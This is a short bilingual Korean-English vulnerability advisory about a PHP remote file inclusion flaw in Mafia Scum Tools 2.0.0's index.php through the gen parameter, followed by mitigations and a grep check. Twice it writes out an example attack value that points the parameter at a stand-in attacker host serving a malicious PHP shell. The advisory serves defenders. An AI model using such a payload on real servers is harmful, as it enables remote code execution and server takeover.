🇰🇷 한글 설명
Mafia Scum Tools 2.0.0과 Matthew Wardrop Advanced Random Generators의 index.php에 존재하는 PHP 원격 파일 포함(RFI) 취약점으로, gen 파라미터를 통해 공격자가 임의의 PHP 코드를 실행할 수 있다. 외부 서버의 악성 PHP 파일을 포함시켜 서버 제어권을 탈취할 수 있다.
💡 쉬운 설명
웹사이트가 사용자 입력값으로 외부 파일을 불러올 때, 공격자는 악의적인 코드가 담긴 파일 주소를 전달하여 실행하게 할 수 있다. 예를 들어, gen=http://attacker.com/shell.php 형태로 요청하면 해당 파일의 코드가 서버에서 실행된다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in Mafia Scum Tools 2.0.0 in Matthew Wardrop Advanced Random Generators (adv-random-gen) allows remote attackers to execute arbitrary PHP code via a URL in the gen parameter.
📍 영향받는 시스템
Mafia Scum Tools 2.0.0, Matthew Wardrop Advanced Random Generators (adv-random-gen) - index.php
⚔️ 공격 벡터
gen 파라미터에 원격 파일 URL(예: http://attacker.com/malicious.php)을 입력하여 원격 코드 실행
🛡️ 대응 방법
index.php의 gen 파라미터 입력값을 검증하고 원격 파일 포함 제거 또는 php.ini에서 allow_url_fopen=Off 설정
🔧 검증 코드
결과가 있으면 해당 파일에서 gen 파라미터 처리 코드를 검토하여 입력값 검증이 있는지 확인 필요
grep -r '\$_GET\[.*gen.*\]' /var/www 2>/dev/null | head -1